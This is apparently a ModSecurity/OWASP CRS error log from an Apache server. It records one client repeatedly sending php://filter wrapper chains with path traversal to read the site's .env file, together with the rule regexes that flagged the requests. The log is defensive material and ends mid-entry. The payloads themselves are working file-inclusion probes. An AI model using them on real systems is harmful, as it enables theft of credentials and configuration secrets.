[Fri Jul 17 08:55:11.040241 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSaAAAAB4"]
[Fri Jul 17 08:55:11.040266 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSaAAAAB4"]
[Fri Jul 17 08:55:11.040643 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSaAAAAB4"]
[Fri Jul 17 08:55:11.041807 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSaAAAAB4"]
[Fri Jul 17 08:55:11.041952 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.042256 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSaAAAAB4"]
[Fri Jul 17 08:55:11.046874 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&config=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&token=LzQoQvPNKYtlhUClNI2uc3ykPXNcv-g9jEF-4TP13dsvPngXqaL0WQ_eHDjnTBIohhgW17UjOkANhU7fQEljF5IrmOk5zeGPDn499jxwIbQ0vY9x7rFBFGB16YHyDNlfS4qlORO4Pi6Sl_243MPRXJ0a9VpROrgcrjoX9Ip__3ajPdAgsaCAfoe9F6GiDv5sqaXO9lmSN0FzDAY8m-09BBTzjeoArn-_LtcJrNY5g2Db1ukLVT3wMLqs2gaqCbs0B_wQ_fvUlDzH_zgnzaS8HeLK&debug=JPKOWUEQEBUIRVNUZPPWMF5KKS5ZQGXYH6EI7R3T2..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFQAAABQ"]
[Fri Jul 17 08:55:11.046929 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFQAAABQ"]
[Fri Jul 17 08:55:11.046999 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&token=LzQoQvPNKYtlhUClNI2uc3ykPXNcv-g9jEF-4TP13dsvPngXqaL0WQ_eHDjnTBIohhgW17UjOkANhU7fQEljF5IrmOk5zeGPDn499jxwIbQ0vY9x7rFBFGB16YHyDNlfS4qlORO4Pi6Sl_243MPRXJ0a9VpROrgcrjoX9Ip__3ajPdAgsaCAfoe9F6GiDv5sqaXO9lmSN0FzDAY8m-09BBTzjeoArn-_LtcJrNY5g2Db1ukLVT3wMLqs2gaqCbs0B_wQ_fvUlDzH_zgnzaS8HeLK&debug=JPKOWUEQEBUIRVNUZPPWMF5KKS5ZQGXYH6EI7R3T24R5YCSWGVGTRWPRIEW5PIA3DDLJQ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFQAAABQ"]
[Fri Jul 17 08:55:11.047063 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&token=lzqoqvpnkytlhuclni2uc3ykpxncv-g9jef-4tp13dsvpngxqal0wq_ehdjntbiohhgw17ujokanhu7fqeljf5irmok5zegpdn499jxwibq0vy9x7rfbfgb16yhydnlfs4qloro4pi6sl_243mprxj0a9vprorgcrjox9ip__3ajpdagsacafoe9f6gidv5sqaxo9lmsn0fzday8m-09bbtzjeoarn-_ltcjrny5g2db1uklvt3wmlqs2gaqcbs0b_wq_fvuldzh_zgnzas8helk&debug=jpkowueqebuirvnuzppwmf5kks5zqgxyh6ei7r3t24r5ycswgvgtrwpriew5pia3ddljq..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFQAAABQ"]
[Fri Jul 17 08:55:11.047099 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFQAAABQ"]
[Fri Jul 17 08:55:11.047131 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFQAAABQ"]
[Fri Jul 17 08:55:11.047540 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFQAAABQ"]
[Fri Jul 17 08:55:11.048641 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFQAAABQ"]
[Fri Jul 17 08:55:11.048804 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.049122 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sFQAAABQ"]
[Fri Jul 17 08:55:11.056059 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&config=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&debug=7WeJcfYJ3BXTL1z1VgrZ-6zyQ2b442vHFxsX9QegQUw0LRVdkzO6-sS5U2JPKW9s4ItcWkecSx9C6zrk4oSw1nzlu3flD1_W0aHoK8svL5ULEaoT-jgEaCbzLPfE6pk7-frmIxD19fdgs_0sSm-gmZmis4mgTEUeEtxSD7c7u19ngr_WspLOEO7c5nSYcjGICoXvw2OlRdBPCTw1ug6gjsnfH6ZrcYlS_WhQN_n9IUz2aeVd4kbMjifD919Sm3uumi1gmEOfZOqp6Z_TlbOPhPbp&ts=RZYYWR3G4QNKEPI2ETEVGDZ72MX7ZXANRIQVCTA7J2P..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fgAAABA"]
[Fri Jul 17 08:55:11.056111 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fgAAABA"]
[Fri Jul 17 08:55:11.056170 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&debug=7WeJcfYJ3BXTL1z1VgrZ-6zyQ2b442vHFxsX9QegQUw0LRVdkzO6-sS5U2JPKW9s4ItcWkecSx9C6zrk4oSw1nzlu3flD1_W0aHoK8svL5ULEaoT-jgEaCbzLPfE6pk7-frmIxD19fdgs_0sSm-gmZmis4mgTEUeEtxSD7c7u19ngr_WspLOEO7c5nSYcjGICoXvw2OlRdBPCTw1ug6gjsnfH6ZrcYlS_WhQN_n9IUz2aeVd4kbMjifD919Sm3uumi1gmEOfZOqp6Z_TlbOPhPbp&ts=RZYYWR3G4QNKEPI2ETEVGDZ72MX7ZXANRIQVCTA7J2P3BUSXRZDPYJ6J54EJ527NHT7JYOC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fgAAABA"]
[Fri Jul 17 08:55:11.056216 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&debug=7wejcfyj3bxtl1z1vgrz-6zyq2b442vhfxsx9qegquw0lrvdkzo6-ss5u2jpkw9s4itcwkecsx9c6zrk4osw1nzlu3fld1_w0ahok8svl5uleaot-jgeacbzlpfe6pk7-frmixd19fdgs_0ssm-gmzmis4mgteueetxsd7c7u19ngr_wsploeo7c5nsycjgicoxvw2olrdbpctw1ug6gjsnfh6zrcyls_whqn_n9iuz2aevd4kbmjifd919sm3uumi1gmeofzoqp6z_tlbophpbp&ts=rzyywr3g4qnkepi2etevgdz72mx7zxanriqvcta7j2p3busxrzdpyj6j54ej527nht7jyoc..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fgAAABA"]
[Fri Jul 17 08:55:11.056243 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fgAAABA"]
[Fri Jul 17 08:55:11.056268 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fgAAABA"]
[Fri Jul 17 08:55:11.056609 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fgAAABA"]
[Fri Jul 17 08:55:11.056688 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBOwAAAAY"]
[Fri Jul 17 08:55:11.056881 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&config=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ref=FwEV4eRvE9Yw4CDJpyAXunSaokIulsUy9LWG3MHO3T1tvKby-Y1u3NAlLFbva1AGGC-F6JV2G4xWkONfxwXuVO9s_eaY2xzFSR76hgCKflzRysiB5M9TOKW4xW8WmqIGEvXi_sMF-uSscTwPSNGTg648oAiyzhjWCB_bDpTw4o9inmTQ33ut-xur-OSGODODOwYSbWaE9_2UohwqXtzKYFa6dmU1xFknjqhbCE0G_XsqsipgwlRDGjezM95ZNbQroAYe9ACFEEASkd_-DEAH0hhu&sid=GUSQ6FRXLQJXNX6VMJS5MEQM3DQF4KBZJIFIGKEPIV4NUQJQ7US3IL6R2XJDZRUJ72..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vwAAAAw"]
[Fri Jul 17 08:55:11.056919 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vwAAAAw"]
[Fri Jul 17 08:55:11.056965 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: 